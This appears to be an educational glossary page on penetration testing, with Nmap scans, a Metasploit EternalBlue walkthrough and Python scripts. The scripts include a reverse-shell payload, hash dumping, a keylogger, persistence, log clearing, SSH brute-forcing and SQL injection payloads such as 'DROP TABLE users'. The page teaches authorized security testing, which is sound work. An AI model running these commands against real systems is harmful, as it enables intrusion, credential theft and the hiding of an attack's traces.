🔒 Security

Penetration Testing

Penetration Testing (Pentest)

A legal hacking test performed from a real attacker's perspective to find security vulnerabilities in systems, networks, and applications. Also called "ethical hacking," it is conducted using white-box (full information disclosed), black-box (no information), or gray-box (partial information) approaches.

📖 Detailed Explanation

Penetration Testing (pentest) is a security assessment method that evaluates an organization's security posture by attacking systems with the techniques and tools that real hackers use. Unlike simple vulnerability scanning, a penetration tester (pentester) actually exploits the vulnerabilities found to determine how far they can penetrate. This allows the organization to understand and respond to risks in real attack scenarios.

Penetration testing is classified into three types according to the level of information provided to the tester. A Black Box test is conducted without any information about the system, like an external attacker. A White Box test provides all information, such as source code, architecture documents, and credentials, enabling in-depth analysis. A Gray Box test provides only partial information (e.g., a regular user account) and simulates an insider threat scenario.

The penetration testing process generally proceeds in five phases. In the Reconnaissance phase, information about the target is collected, and in Scanning, vulnerabilities are detected. In the Exploitation phase, the vulnerabilities are actually exploited, and in Post-Exploitation, privilege escalation, lateral movement, data exfiltration, and the like are attempted. Finally, in the Reporting phase, the findings and remediation recommendations are documented.

Penetration testing is essential for regulatory compliance (PCI-DSS, HIPAA, SOC 2, etc.) and for improving security maturity. A Red Team exercise is an extended form of penetration testing that carries out attacks covertly over a longer period to evaluate an organization's detection and response capabilities (Blue Team). Purple Team is an approach in which the Red Team and Blue Team collaborate to improve security. Demand for penetration testing in new technology areas such as cloud, containers, APIs, and IoT is also increasing.

💻 Code Example

# Nmap - 네트워크 정찰 및 포트 스캐닝
# 침투 테스트의 첫 단계: 대상 시스템 정보 수집

# 1. 기본 포트 스캔 (상위 1000개 포트)
nmap 192.168.1.100

# 2. 전체 포트 스캔 + 서비스 버전 탐지
nmap -p- -sV 192.168.1.100
# -p-: 모든 65535 포트 스캔
# -sV: 서비스 버전 탐지

# 3. OS 탐지 + 스크립트 스캔 (공격적 스캔)
sudo nmap -A -T4 192.168.1.100
# -A: OS 탐지, 버전 탐지, 스크립트 스캔, traceroute
# -T4: 빠른 스캔 (0-5, 높을수록 빠름)

# 4. 취약점 스크립트 스캔
nmap --script vuln 192.168.1.100
# NSE 취약점 스크립트 실행

# 5. 특정 취약점 스캔 (예: SMB 취약점)
nmap --script smb-vuln-* -p 445 192.168.1.0/24
# MS17-010 (EternalBlue) 등 SMB 취약점 탐지

# 6. 웹 서버 열거
nmap --script http-enum -p 80,443 192.168.1.100
# 디렉토리, 파일, 웹 앱 탐지

# 7. 스텔스 스캔 (SYN 스캔)
sudo nmap -sS -Pn 192.168.1.100
# -sS: SYN 스캔 (연결 완료 안 함)
# -Pn: 핑 스킵 (방화벽 우회)

# 8. UDP 서비스 스캔
sudo nmap -sU --top-ports 100 192.168.1.100
# DNS(53), SNMP(161), DHCP(67) 등

# 9. 결과를 여러 형식으로 저장
nmap -A 192.168.1.100 -oA scan_results
# scan_results.nmap (일반), .xml, .gnmap (greppable)

# 10. 서브넷 전체 호스트 발견
nmap -sn 192.168.1.0/24
# 핑 스캔으로 활성 호스트 발견

# 실제 침투 테스트 시나리오 예제
# 1단계: 호스트 발견
nmap -sn 10.0.0.0/24 -oG - | grep "Up" | cut -d " " -f 2 > live_hosts.txt

# 2단계: 서비스 스캔
nmap -sV -iL live_hosts.txt -oA services

# 3단계: 취약점 스캔
nmap --script vuln -iL live_hosts.txt -oA vulns
# Metasploit Framework - 익스플로잇 프레임워크
# 취약점을 실제로 악용하여 침투 테스트 수행

# Metasploit 콘솔 시작
msfconsole

# 1. 취약점 검색
msf6 > search eternalblue
msf6 > search type:exploit name:apache
msf6 > search cve:2021-44228  # Log4Shell

# 2. 익스플로잇 모듈 선택 및 설정
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > show options
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.100
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.50

# 3. 페이로드 선택
msf6 exploit(ms17_010_eternalblue) > show payloads
msf6 exploit(ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp

# 4. 익스플로잇 실행
msf6 exploit(ms17_010_eternalblue) > exploit
# 또는
msf6 exploit(ms17_010_eternalblue) > run

# 5. Meterpreter 세션에서의 포스트 익스플로잇
meterpreter > sysinfo                    # 시스템 정보
meterpreter > getuid                     # 현재 사용자
meterpreter > getsystem                  # 권한 상승 시도
meterpreter > hashdump                   # 비밀번호 해시 덤프
meterpreter > shell                      # 시스템 셸 획득
meterpreter > upload /local/file /remote # 파일 업로드
meterpreter > download /remote/file      # 파일 다운로드
meterpreter > screenshot                 # 스크린샷 캡처
meterpreter > keyscan_start              # 키로거 시작

# 6. 권한 상승 모듈
msf6 > use post/multi/recon/local_exploit_suggester
msf6 post(local_exploit_suggester) > set SESSION 1
msf6 post(local_exploit_suggester) > run

# 7. 횡적 이동 (Lateral Movement)
meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.1.0/24
meterpreter > portfwd add -l 3389 -p 3389 -r 192.168.1.101
# 내부 RDP 포트 포워딩

# 8. 지속성 유지 (Persistence)
meterpreter > run persistence -U -i 5 -p 4444 -r 192.168.1.50
# 재부팅 후에도 연결 유지

# 9. 흔적 삭제
meterpreter > clearev                    # 이벤트 로그 삭제
meterpreter > timestomp -m "01/01/2020 12:00:00" file.txt

# 웹 애플리케이션 테스트
msf6 > use auxiliary/scanner/http/dir_scanner
msf6 > use auxiliary/scanner/http/http_login
msf6 > use exploit/multi/http/apache_mod_cgi_bash_env_exec  # Shellshock
# Python 침투 테스트 자동화 스크립트

import socket
import subprocess
import requests
from concurrent.futures import ThreadPoolExecutor
import paramiko
import ftplib

# 1. 포트 스캐너
def scan_port(host, port):
    """단일 포트 스캔"""
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(1)
    result = sock.connect_ex((host, port))
    sock.close()
    return port if result == 0 else None

def scan_ports(host, ports=range(1, 1025)):
    """멀티스레드 포트 스캔"""
    open_ports = []
    with ThreadPoolExecutor(max_workers=100) as executor:
        results = executor.map(lambda p: scan_port(host, p), ports)
        open_ports = [p for p in results if p]
    return open_ports

# 사용 예
# open_ports = scan_ports("192.168.1.100")
# print(f"Open ports: {open_ports}")


# 2. SSH 브루트포스 (교육 목적, 허가된 테스트에서만 사용)
def ssh_bruteforce(host, username, password_list):
    """SSH 비밀번호 브루트포스"""
    for password in password_list:
        try:
            ssh = paramiko.SSHClient()
            ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            ssh.connect(host, username=username, password=password, timeout=3)
            print(f"[SUCCESS] {username}:{password}")
            ssh.close()
            return password
        except paramiko.AuthenticationException:
            print(f"[FAILED] {username}:{password}")
        except Exception as e:
            print(f"[ERROR] {e}")
            break
    return None


# 3. 웹 디렉토리 열거
def dir_bruteforce(base_url, wordlist):
    """웹 디렉토리 브루트포스"""
    found = []
    headers = {'User-Agent': 'Mozilla/5.0 (compatible; PenTest)'}

    for word in wordlist:
        url = f"{base_url}/{word}"
        try:
            response = requests.get(url, headers=headers, timeout=5)
            if response.status_code == 200:
                print(f"[FOUND] {url}")
                found.append(url)
            elif response.status_code == 403:
                print(f"[FORBIDDEN] {url}")
        except requests.RequestException:
            pass

    return found

# 사용 예
# wordlist = ['admin', 'login', 'dashboard', 'api', 'config']
# found_dirs = dir_bruteforce("https://example.com", wordlist)


# 4. SQL Injection 테스터
def test_sqli(url, param):
    """기본 SQL Injection 테스트"""
    payloads = [
        "' OR '1'='1",
        "' OR '1'='1' --",
        "' OR '1'='1' /*",
        "1' AND '1'='1",
        "1; DROP TABLE users--",
        "' UNION SELECT NULL,NULL,NULL--",
    ]

    vulnerable = []
    for payload in payloads:
        test_url = f"{url}?{param}={payload}"
        try:
            response = requests.get(test_url, timeout=5)
            # 에러 메시지나 비정상 응답 확인
            if any(err in response.text.lower() for err in
                   ['sql', 'syntax', 'mysql', 'postgresql', 'oracle']):
                print(f"[POSSIBLE SQLI] {payload}")
                vulnerable.append(payload)
        except:
            pass

    return vulnerable


# 5. 간단한 보고서 생성
def generate_report(host, open_ports, vulnerabilities):
    """침투 테스트 보고서 생성"""
    report = f"""
    ============================================
    PENETRATION TEST REPORT
    ============================================
    Target: {host}
    Date: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}

    OPEN PORTS:
    -----------
    {', '.join(map(str, open_ports))}

    VULNERABILITIES FOUND:
    ----------------------
    """

    for vuln in vulnerabilities:
        report += f"- {vuln['type']}: {vuln['description']}\n"
        report += f"  Severity: {vuln['severity']}\n"
        report += f"  Recommendation: {vuln['recommendation']}\n\n"

    return report


# 6. 자동화된 침투 테스트 워크플로우
def run_pentest(target):
    """자동화된 기본 침투 테스트"""
    print(f"[*] Starting pentest on {target}")

    # 1단계: 포트 스캔
    print("[*] Phase 1: Port Scanning")
    open_ports = scan_ports(target)
    print(f"[+] Open ports: {open_ports}")

    # 2단계: 서비스 식별 (Nmap 호출)
    print("[*] Phase 2: Service Enumeration")
    nmap_result = subprocess.run(
        ['nmap', '-sV', '-p', ','.join(map(str, open_ports)), target],
        capture_output=True, text=True
    )
    print(nmap_result.stdout)

    # 3단계: 웹 서비스 테스트 (80, 443 포트)
    if 80 in open_ports or 443 in open_ports:
        print("[*] Phase 3: Web Application Testing")
        protocol = "https" if 443 in open_ports else "http"
        base_url = f"{protocol}://{target}"
        # 디렉토리 열거, SQLi 테스트 등

    return open_ports

# 주의: 이 스크립트는 교육 목적이며,
# 반드시 서면 허가를 받은 대상에서만 사용해야 합니다.

🗣️ Say It Like This in Practice

💬 In a Security Assessment Planning Meeting
"This quarter, we will conduct an external black box penetration test. We will test all internet-exposed assets from an attacker's perspective, and through an internal gray box test, we will also assess the risk when a regular employee account is compromised. For critical systems, we plan to conduct a separate white box test and verify down to the source code level."
💬 In a Penetration Test Results Report
"The test found a total of 23 vulnerabilities: 2 critical and 5 high. The most severe is CVE-2021-22986 on the VPN server, which we actually exploited and succeeded in accessing the internal network. We then obtained domain controller administrator privileges through lateral movement. Immediate patching and strengthened network segmentation are needed."
💬 In a Red Team Exercise Debriefing
"In this Red Team exercise, it took 72 hours to gain initial access. We obtained one employee's credentials through a phishing email, and over the following two weeks we succeeded in accessing sensitive data without being detected. The Blue Team failed to detect the C2 communication because we used DNS tunneling. Let's discuss ways to improve detection rules in the Purple Team session."

⚠️ Cautions & Best Practices

❌
Conducting Tests Without Authorization

You must obtain written authorization (Rules of Engagement, RoE) before testing. Penetration testing without authorization is illegal and can be punished as a computer crime. Document the test scope, timing, and prohibited actions clearly.

❌
Running Dangerous Exploits in Production Environments

Exploits that can cause DoS attacks, data deletion, or system crashes must be used with caution. If possible, verify them in a test environment first, and in production use only non-destructive PoCs (Proof of Concept).

❌
Confusing Vulnerability Scanning with Penetration Testing

Results from vulnerability scanners such as Nessus and Qualys must not be presented as penetration testing results. Scanning detects potential vulnerabilities, while penetration testing verifies whether they can actually be exploited. Both are necessary, but their purposes differ.

✅
Penetration Testing Best Practices

Follow PTES (Penetration Testing Execution Standard) or the OWASP Testing Guide to test systematically. Record all actions in detail, and report critical vulnerabilities immediately upon discovery. After testing, remove all backdoors, accounts, and files and restore the original state. Regular penetration tests (at least once a year) and testing after major changes are recommended.

🔗 Related Terms

📚 Learn More